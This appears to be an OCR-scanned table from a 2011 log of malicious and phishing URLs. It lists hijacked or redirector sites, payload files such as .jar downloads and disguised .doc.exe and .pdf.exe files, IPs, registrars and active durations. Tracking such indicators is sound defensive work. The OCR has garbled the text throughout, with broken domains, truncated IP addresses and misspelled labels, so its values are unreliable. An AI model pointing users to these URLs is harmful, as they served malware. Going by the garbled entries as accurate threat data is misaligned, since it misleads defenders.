94334 bmdiesel.com/6sb1uz/index.html 11/10/2011 6:22 | 11/10/2011 18:51 malware 17.58.251.12 Redirector LANETDOMAIN PTY LTD. AU 12.48 356
94335 |htty bizalgerie.com/9o4ay0v/index.html 11/10/2011 5:49 | 11/10/2011 18:44 malware 6.105.100.17 Redirector IRECTI AR 12.93 357
94336 ‘computersteward.com/rexpuja/index.html 11/10/2011 5:24 | 11/10/2011 18:46 malware 184.173.73.18 ector GoDaddy.com, Inc. us 13.37| 358
94337 ‘westernbears.com/content/field.jar 11/10/2011 6:18 11/10/2011 7:28 malware 3.187.142.14 |Dedicated Web Hosti{NAME.COM LLC RO 1.17
9433 blazebriguettes.com/dkk9pb3/index.html 11/10/2011 6:56 | 11/10/2011 18:00 malware 7.225.212.4 edirector NEZERO SOLUTION S 11.07 359
94339 'southidahoarchery.com/js.js 11/10/2011 5:51 | 11/10/2011 15:03 malware 7.212.236.5 edirector jostingDude.com S 9.19 360
94340 ‘gefa-team.de/wbwrl html 11/10/2011 6:21 | 11/10/2011 19:02 malware  85.214.131.9 Redirector lenic OE 12.69 361
94341 ‘www.greffe-tc-toulouse.net/js.js 11/10/2011 5:50 | 11/10/2011 19:02 malware 73.201.63.1 edirector oDaddy.com, Inc. S 13.21 362
94342 jpvarl com/knadwx.html 11/10/2011 5:43 | 11/10/2011 19:03 malware 74.220.207.167Redirector FASTDOMAIN, INC. us 13.33| 363
94343 lapri com/js.js 11/10/2011 5:54 | 11/10/2011 19:07 malware 109.123.71.22(Redirector TUCOWS, INC. UK 13.21| 364
94344 ‘avocatbrat C atbr gbmj0/index.html 11/10/2011 5:52 | 11/10/2011 14:56 malware 13.186. 8 edirector VH AR 9.06 365
94345 |htty ‘westernbears.com/main.php?page=19e0799a347d83d3 11/10/2011 5:57 | 11/10/2011 15:12 malware 3.187.142.14 Redirector IAME.COM LLC RO 9.25 366
94346 hnewyork.com/py87mo6/index.html 11/10/2011 6:07 | 11/10/2011 18:51 malware 184. 172.149,1dged\rectur m us 12.73| 367
94347 ‘cutecountrycre com/apba3d/index.html 11/10/2011 6:20 | 11/10/2011 18:51 malware 6.7.217.167 edirector oDaddy.com, Inc. S 12.52 368
94348 blog. o] index. html 11/10/2011 6:19 | 11/10/2011 19:07 malware 6.31.85.198 edirector oDaddy.com, Inc. S 12.8 369
94349 get.com/9w: index.html 11/10/2011 6:57 | 11/10/2011 19:07 malware 7.2. 6.2 irector OSTSO S 12.17 370
94357 ‘wesbeans.com/main.php?page=034a24544f58c8d7 11/10/2011 7:22 | 11/10/2011 15:10 malware 3.187.142.14 irector JAMESECURE.COM RO 7.8
94358 bizvibe.com/1ejeq3/index.html 11/10/2011 7:16 | 11/10/2011 15:00 malware 7.79.238.60 _ Redirector MONIKER us 7.75 371
94359 om/content/field.jar 11/10/2011 7:21 11/10/2011 8:12 malware 3.187.142.14 |Dedicated Web Hosti|NAMESECURE.COM RO 0.85
94364 rveirc.com/main.php?page=a4ad3cf3d5bdd384 11/10/2011 7:57 | 11/10/2011 14:58 malware 6.126.126.78 Redirector ITALWERKS INTERNET SOLUTIONS LLC DBA NO-IP S 7.01 72
94366 99k.org/6fbcpg3/index.html 11/10/2011 8:38 | 11/10/2011 18:58 malware 67.220.217.239Redirector leNom, Inc. us 10.34 7.
9436 -fulltilt.com/smicr82/index.html 11/10/2011 14:56 | 11/10/2011 15:39 malware 4.86. 196 tjarked Website rivacy protect S 0.72 74
94369 515419483 er.info/ ~bluemars/tz9aeu/index.html 11/10/2011 12:06 | 11/10/2011 19:10 malware 87.106.245.20: ctor 1&1 Internet AG (R113-LRMS) DE 7.06 7!
94370 203.146.170.92/~bkomovie/2ng431/index.htm| 11/10/2011 9:05 | 11/10/2011 19:09 malware 203.146.170.92Redirector TUCOWS, INC. ITH 10.06 76
94372 oatlicences.com.au/kéejmj html 11/11/2011 4:06 11/14/2011 4:06 malware 198.104.30.177Redirector Melbourne IT us 72 7
94375 |htty oatlicences.com.au/0guimz html 11/11/2011 4:10 | 11/22/2011 13:22 malware 198.104.30.173Redirector Melbourne IT us 273.2
94376 bizbr com/hk16ue/index.html 11/10/2011 9:02 | 11/10/2011 19:09 malware 174.127.108.19Redirector MIDPHASE.COM us 10.12 | 378
94379 -party.com/kz8ld|, html 11/10/2011 17:13 | 11/10/2011 17:34 malware 173.192.230.11Hijacked Website through PRIVACY PROTECT us 0.35| 379
94383 arriott.com.ve/oaénec7/index.html 11/10/2011 10:11 | 11/10/2011 19:09 malware 3.246.136.20 Redirector Servitepuy C.A S 8.96
94384 oodaitrading.com/hgs4lt/index.html 11/10/2011 11:12 | 11/10/2011 13:29 malware 04.92.106.6 %uacked Website NETWORK SOLUTIONS, LLC. A 2.28 380
94385 |htt log.tedinet.com/msswsyv, html 11/10/2011 11:15| 11/10/2011 19:20 malware 1.121.93.179 Redirector OMINALIA INTERNET S.L. AR 8.08 381
94386 arriott.com.ve/xwhk2nh/index.html 11/10/2011 17:15| 11/10/2011 19:20 malware 3.246.136.20 Redirector Servitepuy C.A S 2.08
94387 pin.bissnes.net/1ei7lo/index.html 11/10/2011 17:16 | 11/10/2011 19:07 malware 6.4.74.166___ Redirector K2 GROUP LTD. OE 1.85 382
943 bizbre com/iayOwn/index.html 11/10/2011 10:12 | 11/10/2011 14:59 malware 174.127.108.19Redirector DIRECTNIC, LTD us 4.78
94389 99k.org/760ghf; html 11/10/2011 12:55 | 11/10/2011 19:03 malware 67.220.217.239Redirector leNom, Inc. (R39-LROR) us 6.13
94391 bankruptcyintro.com/10uwwry/index.html 11/10/2011 10:22 | 11/10/2011 19:19 malware 7.227.213.96 Redirector & 1 INTERNET AG S 8.95
94393 com/ufvnkg/index.html 11/10/2011 17:18 | 11/10/2011 18:15 malware 204.93.167,21§33d\rectur |ENOM, INC. us 0.96 | 383
94394 oatlicences.com.au/uhmipk, html 11/10/2011 10:14 | 11/10/2011 19:07 malware 198.104.30.172Redirector Melbourne IT us 8.88 | 384
94395 |htty iz-algerie.com/8syp147/index.html 11/10/2011 10:17 | 11/10/2011 14:22 malware 74.220.207.113Redirector FASTDOMAIN, INC. us 4.09 | 385
94396 lu-raysale.eu/7qvbiw/index.html 11/10/2011 17:19 | 11/10/2011 18:13 malware 87.233.222.247Hijacked Website [Transip BV L 0.91| 386
94397 yeredar.ba.ohost.de/qj: f html 11/10/2011 18:18 | 11/10/2011 19:00 Mmalware 213.202.225.4(Redirector UNITEDCOLO-FUNPIC-AG-NET DE 0.71
9439 log. -om/hco6sj6/index.html 11/10/2011 17:22 | 11/10/2011 18:14 malware 6.31.85.198 ijacked Website oDaddy.com, Inc. S 0.86
94401 oodaitrading.com/fhuk73/index.html 11/10/2011 17:23 | 11/10/2011 17:34 malware 04.92.106.6 edirector NETWORK SOLUTIONS, LLC. A 0.18
94402 oatlicences.com.au/ihzubv, html 11/10/2011 17:25 | 11/10/2011 19:25 malware 198.104.30.174Redirector Melbourne IT us 2
94403 itdec.or.id/i5tIsx3/index.html 11/10/2011 17:29 | 11/10/2011 18:16 malware 203.130.232.21 ector Indonesia WebSite Servic D 0.79 | 387
94404 est: com/aii2y1/index.html 11/10/2011 17:34 | 11/10/2011 19:25 malware 184.107.191,55Red\rectur TINYHOSTS.COM HU 1.84 | 388
94405 |htty arpetra.c ‘4goevl/index.html 11/10/2011 17:36 | 11/10/2011 18:18 malware 69.163.199.229Hijacked Website TUCOWS, INC. us 0.69 | 389
94406 log. 'vadkagl/index.html 11/10/2011 14:30 | 11/10/2011 19:20 Mmalware 6.31.85.198 Redirector oDaddy.com, Inc. S 4.83
94407 oracay-paradise.com/rp7laa4/index.html 11/10/2011 11:24 | 11/10/2011 14:49 malware  69.175.54.106 Redirector NOM, INC. S 3.41 390
94408 olocurve.com/main.php?page=a4ad3cf3d5bdd384 11/10/2011 10:52 | 11/10/2011 15:43 malware 6.126.126.78 |Dedicated Web HostilNAMESECURE.COM us 4.85
94410 aby C 'gm9n4y4/index.html| 11/10/2011 17:42 | 11/10/2011 19:25 malware 174.120.173.17Redirector GoDaddy.com, Inc. us 1.72
94411 aborexyu.com/tcid9x, html 11/10/2011 15:04 malware 94.9.95.177 edirector CTIVE 24 AS E 3.63 391
94412 log.tedinet.com/uszuow; html 11/10/2011 19:25 malware 1.121.93.179 Redirector OMINALIA INTERNET S.L. aﬁ 1.69
94413 occherini.com.co/cjh50e/index.html 11/10/2011 19:19 malware 174.121.37.254Redirector GODADDY.COM, INC. s 7.86 | 392
94415|htty 51541948 ome-server.info/%7Ebluemars/8plo98x, htm 11/10/2011 19:25 malware |87.106.245.20. ector 1&1 Internet AG (R113-LRMS) PE 1.69
94416 babor.mk/I435811/index.html| 11/10/2011 18:25 malware 94.9.94.202 Redirector Loopia AB ﬂg 0.65 393
94417 BizVibe.com/cbgzbi/index.html 11/10/2011 19:27 malware 7.79.238.60 Redirector %ONIKER us 1.67 394
94418 ‘akapela.gr/o1w35sp/index.html 11/10/2011 19:25 malware 6.0.172.2 edirector IONIKER ONLINE SERVICES, INC. S 1.64 395
94419 ‘www.stefar om/zfin.html 11/10/2011 14:51 malware 213.205.40.169Redirector \ASCIO TECHNOLOGIES, INC. T 3.36 | 396
94420 bad-toys.at/y6g2oc/index.html 11/10/2011 19:04 malware 6.4.115.35 edirector Webhosting Linux Works DE 1.02 397
94421 uper .com/km: html 11/10/2011 19:03 malware 66. 147.244,17¥{Ed\rectur UNITED-DOMAINS AG us 7.55| 398
94422 blog om/cj50gkx/index.html 11/10/2011 19:26 malware 6.31.85.198 edirector oDaddy.com, Inc. S 1.38
94423 irstexec.ca/9auoubu, html 11/10/2011 17:31 malware 6.125.179.60 Redirector ucows.com Co. A 5.36 399
94424 10.xhost.ro/gnhekx, html 11/10/2011 15:13 malware 95.78.124.19 Redirector CI - ROTLD RO 3.01 400
94425 |htt; yeredar.ba.ohost.de/qq; html 11/10/2011 18:30 Malware _[213.202.225.4(Redirector UNITEDCOLO DE 6.2 401
94426 onfarto.be/n5tlyya/index.html 11/10/2011 14:07 malware 93.202.110.7 Redirector ne.com A/S oK 1.79 402
94429 10.xhost.ro/cvy7m5/index.html| 11/10/2011 18:30 malware 95.78.124.19 Redirector CI - ROTLD RO 0.26 403
94430 oracay-paradise.c 'nnhvOr/index.html 11/10/2011 19:20 malware  69.175.54.106 Redirector NOM, INC. S 6.98
94433 ‘e.25.79ae.static.theplanet.c ‘qzbnbc/index.html 11/10/2011 19:20 malware 174.121.37.254Redirector SOFTLAYER TECHNOLOGIES, INC us 6.97
94434 log.tedinet.com/sbesjp/index.html 11/10/2011 19:18 malware 1.121.93.179 Redirector OMINALIA INTERNET S.L. AR 6.9
94439 lu-raysale.eu/tia4jma/index.html 11/10/2011 18:21 malware 87.233.222.247Redirector Transip BV L 0.26
94444 irchip.com/pxdpy5a/index.html 11/10/2011 19:17 malware 116.240.200.6° ector AUSCITY.NET AU 2.47| 404
94445 |htty enixns.com/~bookmi/gcdska/index.html 11/10/2011 18:28 malware 4.45.45.133 Redirector nix Ltd K 0.37 405
94447 funtotravel-busreisen.de/jfhdksirkw.html 11/10/2011 18:27 malware 94.102.216.15 ector Netbeat DE 0.34 | 406
94453 3e.2.79ae.static.theplanet.com/%7Ebizgolf/g45gnux/index. html 11/10/2011 19:18 malware 74.121.2.62 Redirector OFTLAYER TECHNOLOGIES, INC S 4.18 407
94457 boatlicences.com.au/1xyina/index.htm| 11/10/2011 19:07 malware 198.104.30.172Redirector Melbourne IT us 3.88
94458 babor.com.hr/zj41304/index.html 11/10/2011 19:04 malware 94.9.94.203 edirector .oopia AB SE 3.42
94459 body2b.com.au/%7Ebody2bc/k32sd8, html 11/10/2011 16:27 malware 18.127.15.23 Redirector PP Internet AU 0.74 408
94460 hnewyork.com/hgfduj/index.html 11/10/2011 19:18 malware 184.172.149.18Redirector us 3.52
94461 .com/x2q8fsy, html 11/10/2011 19:19 malware 3.184.150.2 edirector BS INC. TR 3.36 409
94463 bjay12.com/gvdacm, html 11/10/2011 19:26 malware 81.169.187.141Redirector CRONON AG DE 1.3| 410
94464 ‘eslah.com/xi4aiz, html 11/10/2011 19:21 malware 7.18.65.74 edirector ENOM, INC. us 3.2
94465 |htty firstexec.ca/h2xmpx/index.htm| 11/10/2011 18:29 malware 6.125.179.60 Redirector Etsonline.com A 0.33 411
94477 ‘'westeri 'main.php?page=034a24544f58c8d7 11/10/2011 18:11 malware 3.187.142.14 |Dedicated Web HostilSPIRITDOMAINS RO 1.04| 412
94478 yy.ba.ohost.de/tukono/index.html 11/10/2011 21:32 phish 213.202.225.4(Redirector UNITED COLO GmbH DE 3.18
94481 3e.2.79ae.static.theplanet.com/~bizqgolf/gafvas, html 11/10/2011 19:26 malware 74.121.2.62 Redirector OFTLAYER TECHNOLOGIES, INC S 1.25
94499 blazebriquettes.c 6sizgm, html 11/11/2011 3:11 | 11/11/2011 11:33 malware 7.225.212.4 edirector K2 GROUP LTD. S 8.38 4
94500 203.146.170.92/% 432mu2/index.html 11/11/2011 4:17 | 11/14/2011 12:30 malware 203.146.170.94Redirector [TUCOWS.COM CO. TH 80.21 | 414
94502 ‘coloicus.com/main.php?page=2f29b18e06cf2de5 11/11/2011 11/14/2011 15:52 malware 174.140.165.2: ector DIRECTNIC, LTD us 84.47 | 4
94503 limaclusterit.com/js.is 11/11/2011 11/14/2011 13:1 e |66.147.244.78 |Redirector |ENOM, INC. us 81.63| 416
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94504/http://myendsar com/s.is 11/11/2011 3:44 | 11/11/2011 18:42 falware  ¥5.126.69.34 Redirector oDaddy.com, Inc. UK 14.97 | 417
94505]http://onesourcepr com/9vd2aa1/index.html 11/11/2011 3:49 | 11/14/2011 16:44 alware  $7.74.215.189 Redirector oDaddy.com, Inc. S 84.9 | 418
94506/http://viserwer.com/~bek/1z00c0/index.html 11/11/2011 3:56 | 11/14/2011 15:56 Malware  |88.40.61.147 Redirector UBLICDOMAINREGISTRY.COM OE 84 | 419
94507]htty up.com/4heasd html 11/11/20114:21 | 11/13/2011 8:50 alware  $4.34.174.44 Redirector oDaddy.com, Inc. S 52.49 | 420
94508 superlegger com, cd7aae/index.html | 11/11/20114:17 | 11/11/2011 11:59 malware |174.132.145.1 ector [ENOM, INC. s 7.7 421
94509 ‘www.bridalrevival.com.au, 15gcud index.htm! 11/11/20114:27 | 11/11/2011 11:36 fnalware  2.29.74.67 _ Redirector jostDime.com S 7.15 | 422
94511 mpfr.de/7fmem6/index. htm 11/11/2011 5:06 | 11/11/2011 11:38 fnalware  $5.13.129.4 _Redirector, enic OE 6.53 | 4
94512 bl 1/0jv608v, mdex.htm\ 11/11/20114:32 [ 11/11/2011 8:14 falware  [193.202.110.1 ector One.com A/S bK 3.7] 424
94514 ‘ae-products.com/5w5nhic/index.html 11/11/20114:31 [ 11/14/2011 16:45 fnalware  $5.64.83.200 _Redirector UCOWS, INC. S 84.24 | 4
94515http://wester com/content/field jar 11/11/2011 4:54 [ 11/11/2011 14:08 fnalware  |193.106.174.23Dedicated Web Hosti[NAMESECURE.COM RU 9.23| 426
94516 akapela.qr/fzkfxhk, html 11/11/2011 4:40 | 11/11/2011 14:50 alware  $6.0.172.2 edirector APAKI.GR us 10.18 | 4
94517 b\og carat-hotel.de/0a48xuf html 11/11/20114:45| 11/11/2011 8:14 fnalware  $1.201.201.22 Redirector, ENIC.DE H 3.48 | 428
94521 aldirectorslife.com 11/11/20114:57 | 11/11/2011 8:19 falware  |216.63.126.13(Redirector’ ENOM, INC. s 3.38| 429
94524 com/gb1elt/index.html 11/11/2011 5:01| 11/11/2011 8:20 fnalware  |204.93.167.21¢Redirector’ 'LENOM INC. s 3.31] 430
94525 http://blog.tedinet.com 11/11/2011 5:11 [ 11/11/2011 12:19 fnalware  $1.121.93.179 Redirector OMINALIA INTERNET S.L. AR 7.13 | 431
94529 bmeZmeostrada.pl zfin.html 11/11/2011 5:34 11/11/2011 8:20 falware  [193.110.120 ector [Home.pl sp.i. pL 2.77] 432
94531 T html 11/11/2011 5:30 | 11/15/2011 12:26 fnalware  $00.63.97.10 Redirector’ IIC Chile (University of Chile) L 02.94 | 433
94533 que.com/612qaz, html 11/11/2011 5:33 [ 11/11/2011 8:14 falware  $5.215.61.22 Redirector TRECTIT INTERNET SOLUTIONS BS 2.68 | 434
94534 ester com/main page=930efc2e2195978d 11/11/2011 5:47 | 11/11/2011 11:50 nalware  [193.106.174.2JRedirector INAMESECURE.COM RU 6.06
94536 org/7e4pe7/index.html 11/11/2011 5:42 | 11/11/2011 12:23 fnalware  |184.172.137.9¢Redirector’ GoDaddy.com, Inc. (R91-LROR) s 6.69 | 435
94537 users100.lolipop.ip/~boy.ip-thonarafc/330u3m/index.html 11/11/2011 5:45 | 11/13/2011 23:35 malware _[210. 172.144,1§emrectur Dapan Registry Services Co., Ltd. P 65.83 | 436
9453 rg/~binod/clh6ubd/index.html 11/11/2011 5:55| 11/11/2011 8:15 falware |174.132.146.1¢Redirector’ Dynadot, LLC (R1266-LROR) s 2.34] 437
94539 http://velvetroper com/ciyd7n/index.html 11/11/2011 6:04| 11/15/2011 3:17 falware  |72.167.232.15 ctor GoDaddy.com, Inc. Us 93.22[ 438
94540]http://gator1057. hostgator.com, ~bmccrack t750k9/index.html 11/11/2011 6:24 | 11/11/2011 8:16 nalware  §74.120.154.2 Redirector NOM, INC. S 1.86 | 439
94543http://barghest.sq/czt1zs/index.htm 11/11/2011 6:30 | 11/11/2011 12:31 fnalware  $6.96.147.117 Redirector’ INSTRA CORPORATION PTE. LTD. S 6.03 | 440
94544]http://boccherini.com.co/70xbvo, html 11/11/2011 6:42 | 11/11/2011 8:16 falware |174.121.37.25JRedirector’ godaddy.com Us 1.57] 441
94548|http://basket! com/crvo3n/index.html 11/11/2011 6:45 | 11/11/2011 11:48 fnalware  $6.7.221.78  Redirector oDaddy.com, Inc. S 5.04 | 442
94549 |http://beautiply.com/d4jbo1/index.html 11/11/2011 6:50 | 11/14/2011 7:41 fnalware  0.32.106.26 Redirector’ oDaddy.com, Inc. S 72.86 | 44
94550/ htty ki.duu.pl/fyrr711/index.html 11/11/2011 6:56 | 11/12/2011 7:35 fnalware |178.19.105.14¢Redirector AZ.pl Sp. z 0.0. pL 24.65 | 444
94551 http://bioki.cl/3fg332m/index.html 11/11/2011 7:01 | 11/11/2011 11:46 falware  |201.238.235.24Redirector’ NIC Chile (University of Chile) cL 4.75| 44
94553]http://bestcary eview.com/bwxtv7l/index.html 11/11/2011 7:25| 11/14/2011 16:47 nalware  $09.44.97.18 Redirector oDaddy.com, Inc. A 81.36 | 446
94555]http://boem-petrich.eu/uav0vtk/index.html 11/11/20117:12 | 11/11/2011 8:16 falware  |91.196.125.19]Redirector’ PublicD ry.com BG 1.07 ] 44
94561]http://bigbelly.ro/8b716ia/index.html 11/11/20117:26 | 11/14/2011 8:48 fnalware  188.215.36.23 Redirector CI - ROTLD ) 73.36 | 448
94562]http://bintari.com/Ow1ynf/index.html 11/11/2011 7:32 | 11/11/2011 18:31 fnalware |174.121.37.25]Redirector’ GoDaddy.com, Inc. us 10.98
94563 http://fidelspainting.com/ifhdksirkw.html 11/11/2011 11:27 [ 11/14/2011 0:43 fnalware  |84.168.187.1 Redirector oDaddy.com, Inc. S 61.26 | 449
94565/ http://bioki.cl/306ve6/index.html 11/11/2011 7:41 | 11/11/2011 11:45 falware  |201.238.235.24Redirector’ COMERCIALIZADORA E INMOB AYEKAN LTDA L 4.06| 450
94567 |http://fragplay.viserwer.com/cses31/index.html 11/11/2011 8:00 | 11/14/2011 15:57 fnalware  188.40.61.147 Redirector ihost OE 79.95
94574|http://biay12.com/txurpw, html 11/11/2011 8:35| 11/11/2011 11:41 fnalware  |81.169.187.14]Redirector’ CRONON AG DE 3.09] 451
94575 http://bedrijver nl.siteprotect.net/di2gvvr, html 11/11/2011 8:54 | 11/14/2011 16:48 fnalware  $4.40.53.40 _Redirector OMAINPEOPLE, INC. OE 79.9 | 452
94576/ http://fi mrsdl.com, stetement_id.107410078  11/11/2011 11/11/2011 12:59|malware [213.200.198.14Dedicated Web Hosti[DNREGISTRAR cH 3.66| 453
94579]http://beta.jatengprov.qo.id/8wdywh8/index.html 11/11/2011 11/14/2011 16:50 Malware _ |222.124.207.1]Redirector D 79.55 | 454
94584]http://bonus-code-party-poker.ora/37du4v; html 11/11/2011 15:09 [ 11/22/2011 13:26 nalware  $3.184.150.2 Redirector BS INC. TR 262.29 | 455
94586/ htty om/2heznid/index.html 11/11/2011 10:23 [ 11/12/2011 7:46 falware  74.53.53.162 Redirector NLINENIC, INC. S 21.39 | 456
94587htty culevardB com/s9fvopo/index.html 11/11/2011 10:33 [ 11/11/2011 18:30 fnalware  |216.239.13: ctor |OMNIS NETWORK, LLC s 7.96| 457
94589 http://brigittebonder.de/dz2ona/index.html 11/11/2011 10:42 [ 11/11/2011 11:57 nalware  $8.198.41.54 Redirector Hetzner Online AG OE 1.25 | 458
94592]http://bor: com/p7ovoid/index.html 11/11/2011 10:58 | 11/14/2011 16:53 alware  $4.51.21.50 _Redirector aSIMTESCIL NET TR 77.91 | 459
94593/htty ragmay viserwer.com/4n1rx4c html 11/11/2011 11:10 | 11/14/2011 16:54 fnalware | 88.40.61.147 Redirector ONSULTING SERVICE - ROBERT SIEBIELSKI OE 77.74
94594]htty com/31j4w8/index.html 11/11/2011 15:06 | 11/14/2011 16:56 Malware  $4.51.21.50 _Redirector BS INC. TR 73.83
94598 |htty culevardB com/4uxzksj/index.html 11/11/2011 15:07 | 11/11/2011 21:03 fnalware [216.239.13 ector OMNIS NETWORK, LLC us 5.92
94599 br ‘om/04vopi/index.html 11/11/2011 15:10 | 11/12/2011 7:44 fnalware  }4.53.53.162 Redirector NLINENIC, INC. S 16.55
94600 om/f7p8ku/index.html 11/11/2011 17:15 | 11/11/2011 19:52 malware  [74.220.215.2: ctor FASTDOMAIN, INC. s 2.61| 460
94601 *ras\lfash\onsport com.br/t8ubuo/index.html 11/11/2011 18:12 | 11/12/2011 7:34 nalware  }89.38.90.62 irector eqgistro.br HR 13.38 | 461
94603 r 1g0.com/zpyvhSa/index.htmi 11/11/2011 17:26 | 11/14/2011 12:48 falware  $13.171.219.3 Redirector UCOWS, INC. K 67.37 | 462
94604] broadbandinter com/5d89]2) mdex htmi 11/11/2011 17:55 | 11/11/2011 18:46 Malware  $7.227.213.96 Redirector TRECTT INTERNET SOLUTIONS 1 0.84 | 463

broadcast-engineers.com/c58phl/index.htm 11/11/2011 17:48 [ 11/11/2011 20:39 fnalware  §7.23.226.169 Redirector oDaddy.com, Inc. S 2.85 | 464
brunetteblogger.com/npkhdqu, html 11/11/2011 16:28 [ 11/11/2011 21:45 fnalware  [66.147.244.247Redirector FASTDOMAIN, INC. s 5.27 | 465
enixns.com/~bookmi/n98gszr/index.html 11/11/2011 17:01 | 11/16/2011 15:55 nalware  B4.45.45.133 Redirector nix Ltd K 18.89 | 466
com/zfin.html 11/11/2011 16:51 | 11/12/2011 9:09 fnalware  }73.193.3.233 Redirector INET 4 INDIA LIMITED S 16.31 | 467
ckﬁeldserwces com/8ayl6tg/index. html 11/11/2011 16:29 | 11/11/2011 21:52 fnalware  }4.220.219.64 Redirector ASTDOMAIN, INC. S 5.39 | 468
ment.com/report_55478081326115.doc.exe 11/14/2011 3:58 | 11/14/2011 23:32 fnalware  $8.139.135.21 |Dedicated Web Hostilyahoo.com us 19.57] 469
d0ubI3trOubl3.comn.tw/content/field jar. 11/14/20114:16 | 11/14/2011 9:02 fnalware &,201,174‘47 Dedicated Web Hosti{OnlineNic.com HR 4.77] 470
chilp.it/f46170 11/14/2011 5:18 | 11/14/2011 15:59 falware  $1.121.8.125 Redirector, GmbH FR 10.68 | 471
‘dOubl3trOubl3.com.tw/main.php?page=8e5c4d6008421645 11/14/20114:16 | 11/14/2011 12:26 nalware $9.201.174.47 Redirector nlineNic.com HR 8.17
snipr.com/2npp7n 11/14/2011 6:29 | 11/14/2011 10:08 falware  |141.101.126.2 ector DYNADOT, LLC s 3.66| 472
snipr.com/2nprem 11/14/2011 6:31| 11/14/2011 8:04 alware  |141.101.126.2 ector DYNADOT, LLC Us 1.54
cologuel.com/main.php?page=a4ad3cf3d5bdd384 11/14/2011 5:16 | 11/14/2011 12:21 fnalware  |193.106.174.2JRedirector’ ger.com RU 7.1
redir.ec/eGUJ 11/14/2011 6:35 | 11/14/2011 20:30 fnalware  #6.4.199.134 Redirector NameAction Inc. DE 13.91 | 473
‘cologuel.com/content/field.jar 11/14/2011 5:15 | 11/14/2011 12:00 Malware |193.106.174.2JDedicated Web Host ger.com RU 6.74
coloquel.com/content/import.jar 11/14/2011 5:15 | 11/14/2011 11:53 fnalware  |193.106.174.2JDedicated Web Host ger.com RU 6.64| 474
‘colobird.com/content/field.jar 11/14/2011 8:50 | 11/15/2011 23:31 Malware |193.106.174.2]Dedicated Web Hostil1 & 1 INTERNET AG RU 38.68
‘colobird.com/main.php?page=8442d5811699de8c 11/14/2011 9:05 | 11/14/2011 16:58 fnalware  |193.106.174.2JRedirector’ 1 & 1 INTERNET AG RU 7.89
‘www.lumhongye.com/sxu6elw/index.html 11/14/2011 19:13 [ 11/14/2011 20:16 fnalware  [203.175.162.4€¢Redirector [ENOM, INC. 5G 1.05] 475
ea.com/be9nyg/index.html 11/14/2011 19:23 [ 11/15/2011 11:10 falware  }73.193.69.93 Redirector POT DOMAIN LLC DBA DOMAINSITE.COM S 15.77 | 476
www Jtions.com/29ial3/index.html 11/14/2011 19:42 [ 11/18/2011 13:47 fnalware [118.102.198.53Redirector e-verge Informatics N 90.08 | 477
atomic ure.com, ardwua dex.html 11/14/2011 19:59 | 11/15/2011 12:21 fnalware [74.220.207.104Redirector FASTDOMAIN, INC. s 16.37 | 478
auvalon.sk/Owffuo, htm 11/14/2011 20:12 [ 11/15/2011 12:23 fnalware  $12.57.32.25 Redirector yphon. sk SK 16.18 | 479
atscaf.fr/0i49vr0/index.html 11/14/2011 20:16 | 11/16/2011 5:06 falware  $13.186.33.17 Redirector VH AR 32.83 | 480
que.com/s7zcig; html 11/14/2011 20:44 [ 11/15/2011 12:30 fnalware  $5.215.61.22 Redirector TRECTT INTERNET SOLUTIONS PVT. LTD BS 15.77 | 481
a.md/9DT 11/15/2011 2:47 | 11/16/2011 6:23 falware  $8.142.220.63 Redirector ic.md Us 27.59 | 482
94824 gs.a.md/9Do 11/15/2011 2:42 | 11/16/2011 6:24 talware |205.251.205.23Redirector nic.md s 27.69| 483
94829 .com/main.php?page=79dfb87605cfc74a 11/15/2011 5:18 | 11/15/2011 12:34 fnalware  |193.106.174.2JRedirector’ INAME.COM LLC RU 7.27
94831 .com/content/field.jar 11/15/2011 5:29 | 11/15/2011 23:32 alware |193.106.174.2]Dedicated Web Hosti|NAME.COM LLC RU 18.05
94833 trustedcar: info/main.php?page=c0217c62d3796bdf 11/15/2011 6:20 | 11/16/2011 8:34 fnalware  $06.53.52.66 Redirector nlineNIC, Inc A 26.23
94834 ‘wrapmyari info/main.php?page=c0217c62d3796bdf 11/15/2011 6:20 | 11/15/2011 19:21 fnalware  $06.53.52.66 Redirector nlineNIC, Inc A 13.01
94835/http://trustedcar. ‘content/import.jar 11/15/2011 6:19 | 11/15/2011 13:00 malware _ 06.53.52.66 | Dedicated Web Hosti[OnlineNIC, Inc. (R170-LRMS) ica 6.68| 484
94837 ‘wrapmyari info/content/import.jar 11/15/2011 7:11 | 11/15/2011 13:02 fnalware  $06.53.52.66 |Dedicated Web Hosti[OnlineNIC, Inc. (R170-LRMS) ica 5.84
94850 com/content/field.jar 11/15/2011 10:11 | 11/16/2011 22:11 fnalware [193.106.174.2]Dedicated Web Hosti{BIGROCK SOLUTIONS PRIVATE LIMITED RU 36.01
94851 com/main.php?page=79dfb87605cfc74a 11/15/2011 10:06 | 11/17/2011 3:42 fnalware [193.106.174.23Redirector BIGROCK SOLUTIONS PRIVATE LIMITED RU 41.59
94 .com/main.php?page=79dfb87605cfc74a 11/16/2011 1:19 | 11/17/2011 3:44 alware  |193.106.174.2JRedirector MONIKER RU 26.4
94909 irs-events.com/C ts/repID9034.pdf.exe 11/16/2011 5:02 | _11/16/2011 7:07 falware _ $8.139.135.21 |Dedicated Web Hosti|MELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE |US 2.08] 485
94915 htty .com/content/g43kb6j34kblg6jh34kb6i3ki4. jar 11/16/2011 8:10 | 11/17/2011 3:14 Malware |193.106.174.2]Dedicated Web HostilMONIKER RU 19.07
94916 com/content/q43kb6i34kblq6ih34kb6i3ki4.jar 11/16/2011 8:26 | 11/16/2011 21:27 malware _[193.106.174.2]Dedicated Web Hosti[BIGROCK SOLUTIONS PRIVATE LIMITED RU 13.01
94917 0.cc/images/js. js 11/16/2011 8:45| 11/16/2011 8:58 falware  |174.120.61.16: ector [YESNIC CO. LTD. Us 0.22] 486
94919 ‘www.seogist.com/js/js.js 11/16/2011 8:52 | 11/22/2011 8:45 falware  $9.89.31.198 Redirector. LUEHOST.COM Us 43.88 | 487
94923 com.au/gmkc3v/index.html 11/16/2011 10:48 [ 11/21/2011 14:02 falware | 98.104.41.72 Redirector elbourne IT S 23.23 | 488
9492 pixa-design.de/ngvixu/index.html 11/16/2011 15:25 | 11/21/2011 14:08 falware | 88.40.45.159 Redirector dronTec GbR OE 18.72 | 489
94929 om/main.php?page=7de716381035aed8 11/16/2011 12:07 | 11/17/2011 2:03 fnalware [193.106.174.23Dedicated Web Hosti[ENOM, INC. RU 13.93
94930 pr ions.net/vlol08/index.html 11/16/2011 12:44 | 11/16/2011 18:35 nalware $07.204.27.90 Hijacked Website egister.com S 5.85 | 490
